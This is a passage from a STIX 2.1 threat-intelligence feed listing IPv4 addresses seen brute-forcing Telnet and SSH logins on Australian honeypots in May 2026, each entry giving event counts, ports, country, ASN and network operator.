      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.180.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 137872. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--22bf3fc2-9bfe-43be-84fc-c31bd62672cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.239.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265274. Organisation(s): Fixa Telecomunicacoes do Brasil Ltda.",
      "id": "indicator--02a4c9d7-2502-4658-9543-1e2bf4a0062e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.80.223.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266427. Organisation(s): CINTIA AUXILIADORA DE ALCANTARA BARBOSA - ME.",
      "id": "indicator--b2d6cfb7-4ce1-4882-9a2e-469dda74286b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.81.150.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--dd2349c9-6c71-4442-a927-8c9d80ed4c04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.113.145.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a0fb014f-0820-4390-abbb-d3e4aa0f20ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.224.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--646ea418-165c-442e-a4c9-6c238cf682db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.225.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f1fc9b71-f2c4-4982-aea4-31b07594d973",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.226.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8793a858-f849-4ecf-8f6b-cfa2844357a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.227.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--44cdf502-0541-467b-9351-00e508272e4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.135.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7c4cba99-6fe1-4f95-8b42-246fc9393c79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.240.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1791506e-db49-445f-894a-58a26e153c8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.242.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--39248f7b-321c-4f49-b35b-64503212e71a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.9.152.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52673. Organisation(s): WI-MAX INTERNET LTDA.",
      "id": "indicator--53c00fcd-94e2-4270-b835-9050d56a13d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.221.179.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52739. Organisation(s): PROVEDOR INTERSOUSA LTDA.",
      "id": "indicator--e088b5ef-5ddf-4fa9-9879-4463cb47438a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.85.75.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264216. Organisation(s): Fenix Wireless Internet Ltda.",
      "id": "indicator--46fbd2e2-0be2-4b92-bbcb-2bcc22a5e841",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.86.55.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271142. Organisation(s): LL TELECOMUNICACOES EIRELI.",
      "id": "indicator--07e352a9-40f6-473b-aa07-b39fe1fd6046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.48.172.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--854fcb53-5bb8-4d51-8a04-50cccb467427",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.240.240.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--cbd4273b-2aff-45f0-8a69-e4c82deaad57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.53.167.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 61154. Organisation(s): IDHosting Sp. z o. o..",
      "id": "indicator--132ee1a8-43a1-484f-8eb3-5978fc443749",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.55.64.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262617. Organisation(s): UWBR VOX Telecomunicacoes SA.",
      "id": "indicator--824e7c83-47a1-4505-946b-c65d2e3fdd24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.62.204.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270554. Organisation(s): M. M. SERVICOS DE INFORMATICA LTDA ME.",
      "id": "indicator--7e46af59-e504-4338-b421-4b9f7057faf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.111.138.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): **. Passwords observed (masked): r*******y.",
      "id": "indicator--2041d361-1b4b-4ff9-966a-c07df07ead63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--c15df773-cbea-45d1-8138-5fd186218344",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.114.85.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 16232. Organisation(s): TIM.",
      "id": "indicator--9f29daad-ce40-4fea-9030-77b79963c6f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.194.178.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--92813bfa-1ec6-44b3-966c-9f66fef0207d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--71058e91-1a57-4685-9b9d-dac775589eef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.32.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--a8ee70b4-7eab-4ffa-b848-361b42789606",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.0.170.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--98a77d66-b835-446c-9a10-c3b05e1c4c8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.172.102.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--4dd37afd-24e2-4334-83de-3c0c11f63a86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.158.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--985d0168-4a0e-474a-8a2a-74bae0b7d6c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.68.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--55c91075-b636-4b38-bbb9-f636b43a5700",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.241.144.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--55a17de2-62f2-4692-8bb4-ee62c3edb459",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.18.171.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d2739f72-f321-4c8c-85af-d164544fb087",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.19.147.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--59fbd3fb-8150-4c91-9013-ceaf1632fa42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.22.66.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--64be6e04-fa9d-40ee-a30e-4c8ed4e0a8df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.22.66.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--35ca57d2-29f1-4acf-8b47-370df8b38373",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.6.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1cba0ba9-5227-4bf8-a8d4-7c150b39e544",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
